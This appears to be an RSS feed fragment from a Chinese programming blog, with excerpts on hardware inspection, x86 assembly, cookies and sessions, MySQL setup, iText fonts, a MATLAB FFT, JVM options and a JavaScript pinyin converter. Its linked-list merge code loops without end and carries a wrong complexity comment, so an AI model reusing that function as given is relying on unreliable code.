      <description>作者新建了QQ群：460430320，供大家交流测试心得（培训机构勿进）。另外，还会不定期上传测试资料，也欢迎您共享测试资料。&#xA;导读 Windows查看系统硬件信息CentOS查看系统硬件信息 Windows查看系统硬件信息 查看Windows系统硬件信息最方便的方法是使用“鲁大师”等类似软件。效果见下图：&#xA;可以看到，我的电脑配置为：&#xA;CPU：双核&#xA;内存：4G&#xA;硬盘：500G、7200转/分&#xA;注意：&#xA;（1）通过设备管理器看到的是CPU线程数，不是核数&#xA;可以看到上图显示4个Core不是说我是4核CPU，而是双核4线程。&#xA;（2）如果不想装鲁大师，或不方便装，可以使用下面的经验&#xA;直接看CPU的名称，英特尔的CPU现在分为I3，I5，I7，I3系列为双核心，四线程，用任务管理器只能看到CPU有几个线程，而不是核心数。I5系列也是双核心，四线程，但是I5比I3多了“睿频”技术，就是一种自动超频的技术。I7多为四核心，八线程，也有六核心，十二线程的。AMD的只要看是“X？”的就能知道是几核的，例如“Athlon II X4 640”，“Athlon II”代表“速龙II”，“X4”代表四核心，“640”是产品代号，AMD新的推土机架构的CPU不适用此命名规则。AMD非常实诚，是几核心的，就有几线程&#xA;（3）网卡信息&#xA;电脑右下角，鼠标右键点击“网络连接图标”，选择“打开网络和Internet设置”，打开如下窗口：&#xA;点击上图中的“更改适配器选项”，打开如下图：&#xA;右键上图中的“以太网”，选择“属性”，打开如下图&#xA;点击“配置”，打开如下图&#xA;点击上图的“高级”，速度和双工，点击右侧的下拉菜单，看看有啥，如果有1000M的选项，就是千兆网卡；否则，如上图我的电脑就是百兆网卡。&#xA;CentOS查看系统硬件信息 一、查看CPU 1、概念&#xA;1.1 物理CPU：实际Server中插槽上的CPU个数。&#xA;物理cpu数量：可以数不重复的 physical id 有几个。&#xA;1.2 逻辑CPU&#xA;Linux用户对 /proc/cpuinfo 这个文件肯定不陌生. 它是用来存储cpu硬件信息的&#xA;信息内容分别列出了processor 0 – n 的规格。这里需要注意，如果你认为n就是真实的cpu数的话, 就大错特错了&#xA;一般情况，我们认为一颗cpu可以有多核，加上intel的超线程技术(HT), 可以在逻辑上再分一倍数量的cpu core出来&#xA;逻辑CPU数量=物理cpu数量 x cpu cores 这个规格值 x 2(如果支持并开启ht)&#xA;备注一下：Linux下top查看的CPU也是逻辑CPU个数&#xA;1.3 CPU核数&#xA;一块CPU上面能处理数据的芯片组的数量、比如现在的i5 760,是双核心四线程的CPU、而 i5 2250 是四核心四线程的CPU&#xA;一般来说，物理CPU个数×每颗核数就应该等于逻辑CPU的个数，如果不相等的话，则表示服务器的CPU支持超线程技术&#xA;2、查看CPU信息&#xA;当我们 cat /proc/cpuinfo 时，具有相同core id的CPU是同一个core的超线程，具有相同physical id的CPU是同一个CPU封装的线程或核心。</description>
    </item>
    <item>
      <title>5分钟看懂汇编语言C语言</title>
      <link>https://bchobby.github.io/posts/d1d77023facd463c857c4efe1b758471/</link>
      <pubDate>Sun, 08 Apr 2018 15:33:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1d77023facd463c857c4efe1b758471/</guid>
      <description>讲在前面～ 学习编程其实就是学高级语言，即那些为人类设计的计算机语言。 但是，计算机不理解高级语言，必须通过编译器转成二进制代码，才能运行。学会高级语言，并不等于理解计算机实际的运行步骤。&#xA;计算机真正能够理解的是低级语言，它专门用来控制硬件。汇编语言就是低级语言，直接描述/控制 CPU 的运行。如果你想了解 CPU 到底干了些什么，以及代码的运行步骤，就一定要学习汇编语言。 汇编语言不容易学习，就连简明扼要的介绍都很难找到。下面我尝试写一篇最好懂的汇编语言教程，解释 CPU 如何执行代码。&#xA;一、汇编语言是什么？ 我们知道，CPU 只负责计算，本身不具备智能。你输入一条指令（instruction），它就运行一次，然后停下来，等待下一条指令。这些指令都是二进制的，称为操作码（opcode），比如加法指令就是00000011。编译器的作用，就是将高级语言写好的程序，翻译成一条条操作码。对于人类来说，二进制程序是不可读的，根本看不出来机器干了什么。为了解决可读性的问题，以及偶尔的编辑需求，就诞生了汇编语言。汇编语言是二进制指令的文本形式，与指令是一一对应的关系。比如，加法指令00000011写成汇编语言就是ADD。只要还原成二进制，汇编语言就可以被 CPU 直接执行，所以它是最底层的低级语言。 二、来历 最早的时候，编写程序就是手写二进制指令，然后通过各种开关输入计算机，比如要做加法了，就按一下加法开关。后来，发明了纸带打孔机，通过在纸带上打孔，将二进制指令自动输入计算机。为了解决二进制指令的可读性问题，工程师将那些指令写成了八进制。二进制转八进制是轻而易举的，但是八进制的可读性也不行。很自然地，最后还是用文字表达，加法指令写成ADD。内存地址也不再直接引用，而是用标签表示。 这样的话，就多出一个步骤，要把这些文字指令翻译成二进制，这个步骤就称为assembling，完成这个步骤的程序就叫做 assembler。它处理的文本，自然就叫做 aseembly code。标准化以后，称为assembly language，缩写为 asm，中文译为汇编语言。 每一种 CPU的机器指令都是不一样的，因此对应的汇编语言也不一样。本文介绍的是目前最常见的 x86 汇编语言，即 Intel 公司的 CPU使用的那一种。 三、寄存器 学习汇编语言，首先必须了解两个知识点：寄存器和内存模型。&#xA;先来看寄存器。CPU 本身只负责运算，不负责储存数据。数据一般都储存在内存之中，CPU 要用的时候就去内存读写数据。但是，CPU 的运算速度远高于内存的读写速度，为了避免被拖慢，CPU 都自带一级缓存和二级缓存。基本上，CPU 缓存可以看作是读写速度较快的内存。 但是，CPU 缓存还是不够快，另外数据在缓存里面的地址是不固定的，CPU 每次读写都要寻址也会拖慢速度。因此，除了缓存之外，CPU 还自带了寄存器（register），用来储存最常用的数据。也就是说，那些最频繁读写的数据（比如循环变量），都会放在寄存器里面，CPU 优先读写寄存器，再由寄存器跟内存交换数据。 寄存器不依靠地址区分数据，而依靠名称。每一个寄存器都有自己的名称，我们告诉 CPU 去具体的哪一个寄存器拿数据，这样的速度是最快的。有人比喻寄存器是 CPU 的零级缓存。 四、寄存器的种类 早期的 x86 CPU 只有8个寄存器，而且每个都有不同的用途。现在的寄存器已经有100多个了，都变成通用寄存器，不特别指定用途了，但是早期寄存器的名字都被保存了下来。&#xA;● EAX ● EBX ● ECX ● EDX ● EDI ● ESI ● EBP ● ESP</description>
    </item>
    <item>
      <title>Cookie与session的区别及其常见面试问题</title>
      <link>https://bchobby.github.io/posts/954e340731985c7538d3c708b0a3a42e/</link>
      <pubDate>Fri, 06 Apr 2018 21:49:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/954e340731985c7538d3c708b0a3a42e/</guid>
      <description>一、Cookie技术 Cookie技术是将用户的数据存储到客户端的技术，我们分为两方面学习：&#xA;第一，服务器端怎样将一个Cookie发送到客户端&#xA;第二，服务器端怎样接受客户端携带的Cookie&#xA;1．服务器端向客户端发送一个Cookie 1）创建Cookie：&#xA;Cookie cookie = new Cookie(String cookieName,String cookieValue);&#xA;示例：&#xA;Cookie cookie = new Cookie(&#34;username&#34;，&#34;zhangsan&#34;);&#xA;那么该cookie会以响应头的形式发送给客户端：&#xA;注意：Cookie中不能存储中文&#xA;2）设置Cookie在客户端的持久化时间：&#xA;cookie.setMaxAge(int seconds); ---时间秒&#xA;注意：如果不设置持久化时间，cookie会存储在浏览器的内存中，浏览器关闭cookie信息销毁（会话级别的cookie），如果设置持久化时间，cookie信息会被持久化到浏览器的磁盘文件里&#xA;示例：&#xA;cookie.setMaxAge(10*60);&#xA;设置cookie信息在浏览器的磁盘文件中存储的时间是10分钟，过期浏览器 自动删除该cookie信息&#xA;3）设置Cookie的携带路径：&#xA;cookie.setPath(String path);&#xA;注意：如果不设置携带路径，那么该cookie信息会在访问产生该cookie的web资源所在的路径都携带cookie信息&#xA;示例：&#xA;cookie.setPath(&#34;/WEB16&#34;);&#xA;代表访问WEB16应用中的任何资源都携带cookie&#xA;cookie.setPath(&#34;/WEB16/cookieServlet&#34;);&#xA;代表访问WEB16中的cookieServlet时才携带cookie信息 4）向客户端发送cookie：&#xA;response.addCookie(Cookie cookie);&#xA;5）删除客户端的cookie：&#xA;如果想删除客户端的已经存储的cookie信息，那么就使用同名同路径的持久化时间为0的cookie进行覆盖即可&#xA;2．服务器端怎么接受客户端携带的Cookie cookie信息是以请求头的方式发送到服务器端的：&#xA;1）通过request获得所有的Cookie：&#xA;Cookie[] cookies = request.getCookies();&#xA;2）遍历Cookie数组，通过Cookie的名称获得我们想要的Cookie&#xA;for(Cookie cookie : cookies){&#xA;if(cookie.getName().equal(cookieName)){&#xA;String cookieValue = cookie.getValue();&#xA;}&#xA;}&#xA;二、Session技术 Session技术是将数据存储在服务器端的技术，会为每个客户端都创建一块内存空间 存储客户的数据，但客户端需要每次都携带一个标识ID去服务器中寻找属于自己的内 存空间。所以说Session的实现是基于Cookie，Session需要借助于Cookie存储客 户的唯一性标识JSESSIONID&#xA;在Session这我们需要学习如下三个问题：</description>
    </item>
    <item>
      <title>一台电脑上安装两个mysql</title>
      <link>https://bchobby.github.io/posts/93d001d7e2dfe13d819a85c2ecd5ebc6/</link>
      <pubDate>Wed, 04 Apr 2018 17:49:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93d001d7e2dfe13d819a85c2ecd5ebc6/</guid>
      <description>第一步：正常安装第一个mysql，然后在控制面板——管理工具——服务 关闭这个服务；&#xA;第二步：复制C:\Program Files下的MySQL文件夹，复制到E盘；&#xA;第三步：找到原mysql的my.ini文件（有些直接在C:\Program Files，有些不在，我这次是在C:\ProgramData\MySQL\MySQL Server 5.7下面）&#xA;第四步：复制找到的原mysql的my文件放到E:\MySQL\mysql_base 这个mysql_base文件夹是新建的&#xA;第五步：修改复制过来的my文件，如图&#xA;这个是把所有端口改为3307，C盘那个mysql端口是3306&#xA;修改basedir和datadir 我这里之前复制mysql文件夹的时候data文件夹不在一起，在programdata那里，所以要去programdata那里把data文件夹复制过来&#xA;第六步 创建服务&#xA;首先cmd转到E:\MySQL\MySQL Server 5.7\bin这个目录下&#xA;然后写&#xA;mysqld install MySQL2 --defaults-file=&#34;E:\MySQL\mysql_base\my.ini&#34;&#xA;第七步 修改注册表&#xA;运行-——regedit 打开注册表&#xA;HKEY_LOCAL_MACHINE--&amp;gt;SYSTEM--&amp;gt;CurrentControlSet--&amp;gt;Services 就能找到MySQL2了&#xA;修改MySQL2的内容如图&#xA;基本上就是修改defaults前面那一节 找到mysqld所在的路径放上去就行&#xA;第八步 控制面板控制面板——管理工具——服务 启用之前那个MySQL和刚刚这个MySQL2&#xA;大致就是这样了。</description>
    </item>
    <item>
      <title>利用itext将html文件转化pdf文件（四）——字体样式</title>
      <link>https://bchobby.github.io/posts/26d4069f3450619e727d46deb511af61/</link>
      <pubDate>Wed, 04 Apr 2018 15:01:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26d4069f3450619e727d46deb511af61/</guid>
      <description>在利用itext将html文件转化为pdf文件的过程中，需要适当的调整字体，下面介绍字体的使用样式：&#xA;字体支持的样式 itext核心库中主要支持一下几个各种的字体文件：.AFM/.PFB/.TTF/.otf/.ttc/.wof&#xA;2. 利用DefaultFontProvider 只是支持 14 Standard Type 1 fonts and 12 fonts 主要字体的参见样式：&#xA;standard Type 1 fonts所支持的几种字体格式。iText附带的字体样式：可以参见官方文档。系统字体 C:\Windows\Fonts 字体主要的引入方式 1、添加特定的字体(addFont()) public static final String FONT = &#34;src/main/resources/fonts/cardo/Cardo-Regular.ttf&#34;; public void createPdf(String src, String font, String dest) throws IOException { ConverterProperties properties = new ConverterProperties(); FontProvider fontProvider = new DefaultFontProvider(); FontProgram fontProgram = FontProgramFactory.createFont(font); fontProvider.addFont(fontProgram); properties.setFontProvider(fontProvider); HtmlConverter.convertToPdf(new File(src), new File(dest), properties); } 2、可以指定文件夹，一次引入多种字体 public static final String FONTS = &#34;</description>
    </item>
    <item>
      <title>一维离散傅里叶变换，信号分解</title>
      <link>https://bchobby.github.io/posts/6dfbe635b73811d25ca284f7f8328937/</link>
      <pubDate>Tue, 03 Apr 2018 11:38:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dfbe635b73811d25ca284f7f8328937/</guid>
      <description>傅里叶变换的应用涵盖了概率与统计、信号处理、量子力学和图像处理等学科。&#xA;离散傅里叶变换的公式如下：&#xA;在MATLAB中，可以直接使用函数库fft(X)对一维向量X做傅里叶变换，分析信号的组成。如下例子处理一维离散信号&#xA;信号分析&#xA;通过傅里叶变换，可以将实变信号f(t)分解成各个频率分量的线性叠加，进而从频率的角度研究信号的组成。&#xA;来看这个杂乱无章的曲线图，你是否能看出它的规律？&#xA;Figure 1 What&#39;s the law of the signal?&#xA;让我们来对它做一维离散傅里叶变换，得到下图：&#xA;Figure 2 The Fourier Transform of the signal in the figure 1&#xA;从图2的傅里叶变换中我们可以观察到信号在频率为50Hz和120Hz的地方有峰值，表明了原信号主要由频率为50Hz和120Hz的三角函数信号组成。&#xA;上面例子的具体MATLAB代码如下：&#xA;clear Fs = 1000; % Sampling frequency T = 1/Fs; % Sampling period L = 1000; % Length of signal t = (0:L-1)*T; % Time vector S = 0.9*sin(2*pi*50*t) + 1.8*sin(2*pi*120*t); %standard signal X = S + 1*randn(size(t)); %there are some noise mixing in the signal.</description>
    </item>
    <item>
      <title>整理一些面试可能会遇到的算法题目</title>
      <link>https://bchobby.github.io/posts/cfa446e716daeeb35b4b7b209b0b3427/</link>
      <pubDate>Tue, 03 Apr 2018 00:57:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfa446e716daeeb35b4b7b209b0b3427/</guid>
      <description>将两个有序的单链表合并为一个有序的单链表，默认是按升序排列的。【两路归并排序（升序排列） (平均/最差)时间复杂度O(NlogN)】&#xA;typedef struct _Node_t { struct _Node_t *next; int data; }Node; Node *Merge(Node *head1, Node *head2)//时间复杂度：O(nlogn) { Node *head = NULL; if (NULL == head1) { return head2; } if (NULL == head2) { return head1; } while ((NULL != head1) &amp;amp;&amp;amp; (NULL != head2)) { if (head1-&amp;gt;data &amp;lt; head2-&amp;gt;data) { head = head1; head-&amp;gt;next = Merge(head1-&amp;gt;next, head2); } else { head = head2; head-&amp;gt;next = Merge(head1, head2-&amp;gt;next); } } return head; } 判断单链表中是否有环，有的话找到环的入口点</description>
    </item>
    <item>
      <title>intellij idea中tomcat的VM options配置</title>
      <link>https://bchobby.github.io/posts/f5aff60eaa5c2a01aa00db8a2b270bd5/</link>
      <pubDate>Mon, 02 Apr 2018 20:35:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5aff60eaa5c2a01aa00db8a2b270bd5/</guid>
      <description>点击Intellij IDEA 界面窗口Run，打开Edit Configuration，出现Run/Debug Configurations界面。Application server 选择安装Tomcat所在的文件夹，点击Configuration一般自动配置好了，其他的就按照图上的填写。&#xA;VM options这项需要我们自己填写，我填的是VM options ： -Xms768m -Xmx768m -XX:PermSize=64M -XX:MaxPermSize=512m&#xA;每一项以空格隔开&#xA;参数说明&#xA;-Xms768m：设置JVM初始堆内存为768m。此值可以设置与-Xmx相同，以避免每次垃圾回收完成后JVM重新分配内存。&#xA;-Xmx768m：设置JVM最大堆内存为768m。&#xA;-Xss128k：设置每个线程的栈大小。JDK5.0以后每个线程栈大小为1M，之前每个线程栈大小为256K。应当根据应用的线程所需内存大小进行调整。在相同物理内存下，减小这个值能生成更多的线程。但是操作系统对一个进程内的线程数还是有限制的，不能无限生成，经验值在3000~5000左右。需要注意的是：当这个值被设置的较大（例如&amp;gt;2MB）时将会在很大程度上降低系统的性能。&#xA;-Xmn2g：设置年轻代大小为2G。在整个堆内存大小确定的情况下，增大年轻代将会减小年老代，反之亦然。此值关系到JVM垃圾回收，对系统性能影响较大，官方推荐配置为整个堆大小的3/8。&#xA;-XX:NewSize=1024m：设置年轻代初始值为1024M。&#xA;-XX:MaxNewSize=1024m：设置年轻代最大值为1024M。&#xA;-XX:PermSize=256m：设置持久代初始值为256M。&#xA;-XX:MaxPermSize=256m：设置持久代最大值为256M。&#xA;-XX:NewRatio=4：设置年轻代（包括1个Eden和2个Survivor区）与年老代的比值。表示年轻代比年老代为1:4。&#xA;-XX:SurvivorRatio=4：设置年轻代中Eden区与Survivor区的比值。表示2个Survivor区（JVM堆内存年轻代中默认有2个大小相等的Survivor区）与1个Eden区的比值为2:4，即1个Survivor区占整个年轻代大小的1/6。&#xA;-XX:MaxTenuringThreshold=7：表示一个对象如果在Survivor区（救助空间）移动了7次还没有被垃圾回收就进入年老代。如果设置为0的话，则年轻代对象不经过Survivor区，直接进入年老代，对于需要大量常驻内存的应用，这样做可以提高效率。如果将此值设置为一个较大值，则年轻代对象会在Survivor区进行多次复制，这样可以增加对象在年轻代存活时间，增加对象在年轻代被垃圾回收的概率，减少Full GC的频率，这样做可以在某种程度上提高服务稳定性。&#xA;标准参数，所有JVM都必须支持这些参数的功能，而且向后兼容；例如：&#xA;-client——设置JVM使用Client模式，特点是启动速度比较快，但运行时性能和内存管理效率不高，通常用于客户端应用程序或开发调试；在32位环境下直接运行Java程序默认启用该模式。&#xA;-server——设置JVM使Server模式，特点是启动速度比较慢，但运行时性能和内存管理效率很高，适用于生产环境。在具有64位能力的JDK环境下默认启用该模式。&#xA;非标准参数（-X），默认JVM实现这些参数的功能，但是并不保证所有JVM实现都满足，且不保证向后兼容；&#xA;非稳定参数（-XX），此类参数各个JVM实现会有所不同，将来可能会不被支持，需要慎重使用；</description>
    </item>
    <item>
      <title>JS实现中文转拼音（首字母大写和首字母简拼）</title>
      <link>https://bchobby.github.io/posts/e750f08278d34f086a4eea0f363b77f0/</link>
      <pubDate>Mon, 02 Apr 2018 16:31:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e750f08278d34f086a4eea0f363b77f0/</guid>
      <description>1）将汉字翻译为拼音，其中每一个字的首字母大写； 使用方式：&#xA;pinyin.getFullChars(this.value); 2）将每汉字的拼音首字母提取出来，是大写的形式。 pinyin.getCamelChars(this.value); 下面是实现的代码，getPingyin.js,均测试过，非常好用的 var pinyin = (function (){ var Pinyin = function (ops){ this.initialize(ops); }, options = { checkPolyphone: false, charcase: &#39;default&#39; }; Pinyin.fn = Pinyin.prototype = { init: function (ops){ this.options = extend(options, ops); }, initialize: function(ops){ this.init(ops); this.char_dict = &#34;YDYQSXMWZSSXJBYMGCCZQPSSQBYCDSCDQLDYLYBSSJGYZZJJFKCCLZDHWDWZJLJPFYYNWJJTMYHZWZHFLZPPQHGSCYYYNJQYXXGJHHSDSJNKKTMOMLCRXYPSNQSECCQZGGLLYJLMYZZSECYKYYHQWJSSGGYXYZYJWWKDJHYCHMYXJTLXJYQBYXZLDWRDJRWYSRLDZJPCBZJJBRCFTLECZSTZFXXZHTRQHYBDLYCZSSYMMRFMYQZPWWJJYFCRWFDFZQPYDDWYXKYJAWJFFXYPSFTZYHHYZYSWCJYXSCLCXXWZZXNBGNNXBXLZSZSBSGPYSYZDHMDZBQBZCWDZZYYTZHBTSYYBZGNTNXQYWQSKBPHHLXGYBFMJEBJHHGQTJCYSXSTKZHLYCKGLYSMZXYALMELDCCXGZYRJXSDLTYZCQKCNNJWHJTZZCQLJSTSTBNXBTYXCEQXGKWJYFLZQLYHYXSPSFXLMPBYSXXXYDJCZYLLLSJXFHJXPJBTFFYABYXBHZZBJYZLWLCZGGBTSSMDTJZXPTHYQTGLJSCQFZKJZJQNLZWLSLHDZBWJNCJZYZSQQYCQYRZCJJWYBRTWPYFTWEXCSKDZCTBZHYZZYYJXZCFFZZMJYXXSDZZOTTBZLQWFCKSZSXFYRLNYJMBDTHJXSQQCCSBXYYTSYFBXDZTGBCNSLCYZZPSAZYZZSCJCSHZQYDXLBPJLLMQXTYDZXSQJTZPXLCGLQTZWJBHCTSYJSFXYEJJTLBGXSXJMYJQQPFZASYJNTYDJXKJCDJSZCBARTDCLYJQMWNQNCLLLKBYBZZSYHQQLTWLCCXTXLLZNTYLNEWYZYXCZXXGRKRMTCNDNJTSYYSSDQDGHSDBJGHRWRQLYBGLXHLGTGXBQJDZPYJSJYJCTMRNYMGRZJCZGJMZMGXMPRYXKJNYMSGMZJYMKMFXMLDTGFBHCJHKYLPFMDXLQJJSMTQGZSJLQDLDGJYCALCMZCSDJLLNXDJFFFFJCZFMZFFPFKHKGDPSXKTACJDHHZDDCRRCFQYJKQCCWJDXHWJLYLLZGCFCQDSMLZPBJJPLSBCJGGDCKKDEZSQCCKJGCGKDJTJDLZYCXKLQSCGJCLTFPCQCZGWPJDQYZJJBYJHSJDZWGFSJGZKQCCZLLPSPKJGQJHZZLJPLGJGJJTHJJYJZCZMLZLYQBGJWMLJKXZDZNJQSYZMLJLLJKYWXMKJLHSKJGBMCLYYMKXJQLBMLLKMDXXKWYXYSLMLPSJQQJQXYXFJTJDXMXXLLCXQBSYJBGWYMBGGBCYXPJYGPEPFGDJGBHBNSQJYZJKJKHXQFGQZKFHYGKHDKLLSDJQXPQYKYBNQSXQNSZSWHBSXWHXWBZZXDMNSJBSBKBBZKLYLXGWXDRWYQZMYWSJQLCJXXJXKJEQXSCYETLZHLYYYSDZPAQYZCMTLSHTZCFYZYXYLJSDCJQAGYSLCQLYYYSHMRQQKLDXZSCSSSYDYCJYSFSJBFRSSZQSBXXPXJYSDRCKGJLGDKZJZBDKTCSYQPYHSTCLDJDHMXMCGXYZHJDDTMHLTXZXYLYMOHYJCLTYFBQQXPFBDFHHTKSQHZYYWCNXXCRWHOWGYJLEGWDQCWGFJYCSNTMYTOLBYGWQWESJPWNMLRYDZSZTXYQPZGCWXHNGPYXSHMYQJXZTDPPBFYHZHTJYFDZWKGKZBLDNTSXHQEEGZZYLZMMZYJZGXZXKHKSTXNXXWYLYAPSTHXDWHZYMPXAGKYDXBHNHXKDPJNMYHYLPMGOCSLNZHKXXLPZZLBMLSFBHHGYGYYGGBHSCYAQTYWLXTZQCEZYDQDQMMHTKLLSZHLSJZWFYHQSWSCWLQAZYNYTLSXTHAZNKZZSZZLAXXZWWCTGQQTDDYZTCCHYQZFLXPSLZYGPZSZNGLNDQTBDLXGTCTAJDKYWNSYZLJHHZZCWNYYZYWMHYCHHYXHJKZWSXHZYXLYSKQYSPSLYZWMYPPKBYGLKZHTYXAXQSYSHXASMCHKDSCRSWJPWXSGZJLWWSCHSJHSQNHCSEGNDAQTBAALZZMSSTDQJCJKTSCJAXPLGGXHHGXXZCXPDMMHLDGTYBYSJMXHMRCPXXJZCKZXSHMLQXXTTHXWZFKHCCZDYTCJYXQHLXDHYPJQXYLSYYDZOZJNYXQEZYSQYAYXWYPDGXDDXSPPYZNDLTWRHXYDXZZJHTCXMCZLHPYYYYMHZLLHNXMYLLLMDCPPXHMXDKYCYRDLTXJCHHZZXZLCCLYLNZSHZJZZLNNRLWHYQSNJHXYNTTTKYJPYCHHYEGKCTTWLGQRLGGTGTYGYHPYHYLQYQGCWYQKPYYYTTTTLHYHLLTYTTSPLKYZXGZWGPYDSSZZDQXSKCQNMJJZZBXYQMJRTFFBTKHZKBXLJJKDXJTLBWFZPPTKQTZTGPDGNTPJYFALQMKGXBDCLZFHZCLLLLADPMXDJHLCCLGYHDZFGYDDGCYYFGYDXKSSEBDHYKDKDKHNAXXYBPBYYHXZQGAFFQYJXDMLJCSQZLLPCHBSXGJYNDYBYQSPZWJLZKSDDTACTBXZDYZYPJZQSJNKKTKNJDJGYYPGTLFYQKASDNTCYHBLWDZHBBYDWJRYGKZYHEYYFJMSDTYFZJJHGCXPLXHLDWXXJKYTCYKSSSMTWCTTQZLPBSZDZWZXGZAGYKTYWXLHLSPBCLLOQMMZSSLCMBJCSZZKYDCZJGQQDSMCYTZQQLWZQZXSSFPTTFQMDDZDSHDTDWFHTDYZJYQJQKYPBDJYYXTLJHDRQXXXHAYDHRJLKLYTWHLLRLLRCXYLBWSRSZZSYMKZZHHKYHXKSMDSYDYCJPBZBSQLFCXXXNXKXWYWSDZYQOGGQMMYHCDZTTFJYYBGSTTTYBYKJDHKYXBELHTYPJQNFXFDYKZHQKZBYJTZBXHFDXKDASWTAWAJLDYJSFHBLDNNTNQJTJNCHXFJSRFWHZFMDRYJYJWZPDJKZYJYMPCYZNYNXFBYTFYFWYGDBNZZZDNYTXZEMMQBSQEHXFZMBMFLZZSRXYMJGSXWZJSPRYDJSJGXHJJGLJJYNZZJXHGXKYMLPYYYCXYTWQZSWHWLYRJLPXSLSXMFSWWKLCTNXNYNPSJSZHDZEPTXMYYWXYYSYWLXJQZQXZDCLEEELMCPJPCLWBXSQHFWWTFFJTNQJHJQDXHWLBYZNFJLALKYYJLDXHHYCSTYYWNRJYXYWTRMDRQHWQCMFJDYZMHMYYXJWMYZQZXTLMRSPWWCHAQBXYGZYPXYYRRCLMPYMGKSJSZYSRMYJSNXTPLNBAPPYPYLXYYZKYNLDZYJZCZNNLMZHHARQMPGWQTZMXXMLLHGDZXYHXKYXYCJMFFYYHJFSBSSQLXXNDYCANNMTCJCYPRRNYTYQNYYMBMSXNDLYLYSLJRLXYSXQMLLYZLZJJJKYZZCSFBZXXMSTBJGNXYZHLXNMCWSCYZYFZLXBRNNNYLBNRTGZQYSATSWRYHYJZMZDHZGZDWYBSSCSKXSYHYTXXGCQGXZZSHYXJSCRHMKKBXCZJYJYMKQHZJFNBHMQHYSNJNZYBKNQMCLGQHWLZNZSWXKHLJHYYBQLBFCDSXDLDSPFZPSKJYZWZXZDDXJSMMEGJSCSSMGCLXXKYYYLNYPWWWGYDKZJGGGZGGSYCKNJWNJPCXBJJTQTJWDSSPJXZXNZXUMELPXFSXTLLXCLJXJJLJZXCTPSWXLYDHLYQRWHSYCSQYYBYAYWJJJQFWQCQQCJQGXALDBZZYJGKGXPLTZYFXJLTPADKYQHPMATLCPDCKBMTXYBHKLENXDLEEGQDYMSAWHZMLJTWYGXLYQZLJEEYYBQQFFNLYXRDSCTGJGXYYNKLLYQKCCTLHJLQMKKZGCYYGLLLJDZGYDHZWXPYSJBZKDZGYZZHYWYFQYTYZSZYEZZLYMHJJHTSMQWYZLKYYWZCSRKQYTLTDXWCTYJKLWSQZWBDCQYNCJSRSZJLKCDCDTLZZZACQQZZDDXYPLXZBQJYLZLLLQDDZQJYJYJZYXNYYYNYJXKXDAZWYRDLJYYYRJLXLLDYXJCYWYWNQCCLDDNYYYNYCKCZHXXCCLGZQJGKWPPCQQJYSBZZXYJSQPXJPZBSBDSFNSFPZXHDWZTDWPPTFLZZBZDMYYPQJRSDZSQZSQXBDGCPZSWDWCSQZGMDHZXMWWFYBPDGPHTMJTHZSMMBGZMBZJCFZWFZBBZMQCFMBDMCJXLGPNJBBXGYHYYJGPTZGZMQBQTCGYXJXLWZKYDPDYMGCFTPFXYZTZXDZXTGKMTYBBCLBJASKYTSSQYYMSZXFJEWLXLLSZBQJJJAKLYLXLYCCTSXMCWFKKKBSXLLLLJYXTYLTJYYTDPJHNHNNKBYQNFQYYZBYYESSESSGDYHFHWTCJBSDZZTFDMXHCNJZYMQWSRYJDZJQPDQBBSTJGGFBKJBXTGQHNGWJXJGDLLTHZHHYYYYYYSXWTYYYCCBDBPYPZYCCZYJPZYWCBDLFWZCWJDXXHYHLHWZZXJTCZLCDPXUJCZZZLYXJJTXPHFXWPYWXZPTDZZBDZCYHJHMLXBQXSBYLRDTGJRRCTTTHYTCZWMXFYTWWZCWJWXJYWCSKYBZSCCTZQNHXNWXXKHKFHTSWOCCJYBCMPZZYKBNNZPBZHHZDLSYDDYTYFJPXYNGFXBYQXCBHXCPSXTYZDMKYSNXSXLHKMZXLYHDHKWHXXSSKQYHHCJYXGLHZXCSNHEKDTGZXQYPKDHEXTYKCNYMYYYPKQYYYKXZLTHJQTBYQHXBMYHSQCKWWYLLHCYYLNNEQXQWMCFBDCCMLJGGXDQKTLXKGNQCDGZJWYJJLYHHQTTTNWCHMXCXWHWSZJYDJCCDBQCDGDNYXZTHCQRXCBHZTQCBXWGQWYYBXHMBYMYQTYEXMQKYAQYRGYZSLFYKKQHYSSQYSHJGJCNXKZYCXSBXYXHYYLSTYCXQTHYSMGSCPMMGCCCCCMTZTASMGQZJHKLOSQYLSWTMXSYQKDZLJQQYPLSYCZTCQQPBBQJZCLPKHQZYYXXDTDDTSJCXFFLLCHQXMJLWCJCXTSPYCXNDTJSHJWXDQQJSKXYAMYLSJHMLALYKXCYYDMNMDQMXMCZNNCYBZKKYFLMCHCMLHXRCJJHSYLNMTJZGZGYWJXSRXCWJGJQHQZDQJDCJJZKJKGDZQGJJYJYLXZXXCDQHHHEYTMHLFSBDJSYYSHFYSTCZQLPBDRFRZTZYKYWHSZYQKWDQZRKMSYNBCRXQBJYFAZPZZEDZCJYWBCJWHYJBQSZYWRYSZPTDKZPFPBNZTKLQYHBBZPNPPTYZZYBQNYDCPJMMCYCQMCYFZZDCMNLFPBPLNGQJTBTTNJZPZBBZNJKLJQYLNBZQHKSJZNGGQSZZKYXSHPZSNBCGZKDDZQANZHJKDRTLZLSWJLJZLYWTJNDJZJHXYAYNCBGTZCSSQMNJPJYTYSWXZFKWJQTKHTZPLBHSNJZSYZBWZZZZLSYLSBJHDWWQPSLMMFBJDWAQYZTCJTBNNWZXQXCDSLQGDSDPDZHJTQQPSWLYYJZLGYXYZLCTCBJTKTYCZJTQKBSJLGMGZDMCSGPYNJZYQYYKNXRPWSZXMTNCSZZYXYBYHYZAXYWQCJTLLCKJJTJHGDXDXYQYZZBYWDLWQCGLZGJGQRQZCZSSBCRPCSKYDZNXJSQGXSSJMYDNSTZTPBDLTKZWXQWQTZEXNQCZGWEZKSSBYBRTSSSLCCGBPSZQSZLCCGLLLZXHZQTHCZMQGYZQZNMCOCSZJMMZSQPJYGQLJYJPPLDXRGZYXCCSXHSHGTZNLZWZKJCXTCFCJXLBMQBCZZWPQDNHXLJCTHYZLGYLNLSZZPCXDSCQQHJQKSXZPBAJYEMSMJTZDXLCJYRYYNWJBNGZZTMJXLTBSLYRZPYLSSCNXPHLLHYLLQQZQLXYMRSYCXZLM